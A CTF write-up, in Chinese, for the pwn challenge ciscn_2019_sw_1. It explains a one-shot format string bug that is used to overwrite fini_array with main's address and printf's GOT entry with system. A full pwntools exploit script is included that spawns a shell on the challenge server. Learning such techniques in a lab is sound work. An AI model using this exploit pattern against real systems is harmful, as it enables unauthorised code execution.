ciscn_2019_sw_1

查看保护

这里有一个格式化漏洞，但是呢这里只能一次。这里学到了一个新姿势在程序结束的时候有一个fini.array段运行。这时将 fini.array[0]的地址改为main函数地址这样就可以运行两次了。这样的话改printf为system之后第二次传入bin/sh即可getshell。

from pwn import *context(arch='i386', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('node4.buuoj.cn', 28242)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)system_plt = elf.plt['system']
printf_got = elf.got['printf']
main_addr = elf.sym['main']
print('system_plt = ', hex(system_plt))
print('printf_got = ', hex(printf_got))
fini_array = 0x804979cp = b'%2052c%13$hn%31692c%14$hn%356c%15$hn'
p += p32(printf_got + 2) + p32(printf_got) + p32(fini_array)r.recvline()
r.sendline(p)r.sendline('/bin/sh\x00')r.interactive()

ciscn_2019_sw_1相关推荐

[BUUCTF-pwn]——ciscn_2019_sw_1
[BUUCTF-pwn]--ciscn_2019_sw_1 一个简单的格式化字符串, 相信大家看到旁边的system和格式化字符串漏洞,想的一定是利用格式化字符串漏洞将printf_got表修改sy ...
[BUUCTF-pwn]——picoctf_2018_echo back
[BUUCTF-pwn]--picoctf_2018_echo back 和之前的一道题及其类似大家可以对比一下[BUUCTF-pwn]--ciscn_2019_sw_1 思路都是一样的就是将prin ...
BUUCTF-pwn(15)
gyctf_2020_some_thing_interesting 经典UAF漏洞! Allocate申请函数! Free释放函数! 全保护开启,故我们利用格式化字符串漏洞泄露libc地址,从而得到m ...

ciscn_2019_sw_1

ciscn_2019_sw_1

ciscn_2019_sw_1相关推荐

最新文章

热门文章